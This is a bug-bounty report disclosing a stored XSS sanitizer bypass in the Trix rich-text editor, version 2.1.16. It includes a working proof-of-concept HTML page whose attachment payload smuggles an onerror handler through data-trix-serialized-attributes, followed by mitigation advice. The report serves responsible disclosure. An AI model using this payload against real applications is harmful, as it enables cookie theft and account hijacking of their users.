Basecamp · Report #3581911
Stored XSS on Trix Editor version latest (2.1.16) - Sanitizer Bypass
How it was found
Trix version 2.1.16 is vulnerable to a Stored Cross-Site Scripting (XSS) flaw. The vulnerability arises from an unsafe interaction between Trix's custom DOMPurify configuration and its document serialization logic.
Trix utilizes a DOMPurify hook (src/trix/models/html_sanitizer.js) that explicitly forces the sanitizer to retain any HTML attribute beginning with data-trix-. This creates an initial bypass of DOMPurify's strict attribute filtering.
Concurrently, Trix's HTML serializer (src/trix/core/serialization.js) is responsible for converting the internal editor state back into HTML. To preserve standard attributes that are stripped during editing, Trix uses a custom attribute called data-trix-serialized-attributes, which contains a JSON string of property-value pairs. During serialization (e.g., when the form is submitted or editor.value is accessed), this JSON is parsed and the attributes are blindly set onto the element via el.setAttribute(name, value) without any further sanitization.
By embedding data-trix-serialized-attributes within the content property of a data-trix-attachment payload, an attacker can smuggle malicious JavaScript event handlers (such as onerror="alert(1)") past the initial DOMPurify pass. When the content is exported by Trix, the event handlers are injected into the final HTML output, leading to XSS when rendered by the victim application.
Steps To Reproduce
The vulnerability can be reproduced in any application using Trix and can also be demonstrated directly on the official testing environment https://trix-editor.org/.
- Run this HTML code on browser.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Trix Editor v2.1.16 XSS Demo</title>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/trix.umd.min.js"></script>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/trix.min.css" rel="stylesheet">
</head>
<body>
<h1>Trix Editor v2.1.16 XSS Demo</h1>
<!--
The following script simulates rendering user-supplied content that contains the malicious data-trix-attachment with our serialization bypass payload.
-->
<script>
document.write(`copy<figure data-trix-attachment="{"contentType":"text/html","content":"<img src=\\"x\\" data-trix-serialized-attributes=\\"{&quot;onerror&quot;:&quot;alert('XSS IN v2.1.16')&quot;}\\">"}"></figure>me`);
</script>
<h2>Simulate Backend Save & Render</h2>
<button onclick="triggerXSS()">Trigger XSS</button>
<div id="output"></div>
<script>
function triggerXSS() {
// 1. Get the serialized HTML output that Trix generated
var output = document.querySelector("trix-editor").value;
console.log("Serialized HTML:", output);
// 2. Simulate the application rendering this saved output on another page
var div = document.getElementById("output");
div.innerHTML = output;
}
</script>
</body>
</html>
- Copy the
copy metext and paste it in trix editor. - You will immediately see an alert pop up indicating successful arbitrary JavaScript execution.
This vulnerability represents a direct bypass of the fixes applied for previously reported vulnerabilities in Trix :
- https://hackerone.com/reports/2521419 - Stored XSS on trix editor version 2.1.1
- https://hackerone.com/reports/2819573 - Mutation Based Stored XSS on trix editor version 2.1.8
Suggested Mitigation
- Remove or constrain the wildcard
data-trix-DOMPurify hook: Ensure that only explicitly defined, harmless attributes (likedata-trix-id) are retained. The regex/^data-trix-/insrc/trix/models/html_sanitizer.jsshould be replaced with an explicit allowlist. - Re-Sanitize Deserialized Attributes: In
src/trix/core/serialization.js, when elements are restored fromdata-trix-serialized-attributes,el.setAttributeshould only map to safe attributes (class,src,href) and explicitly deny JavaScript event handlers (on*). Attempting to filter this via DOMPurify before rebuilding the DOM is highly recommended.
Impact
Any application that utilizes Trix to accept untrusted rich text input and renders the serialized output to other users is vulnerable to Stored Cross-Site Scripting (XSS). An attacker can successfully leverage this to steal session cookies, hijack user accounts, redirect victims to malicious sites, or perform actions on behalf of the user without their consent.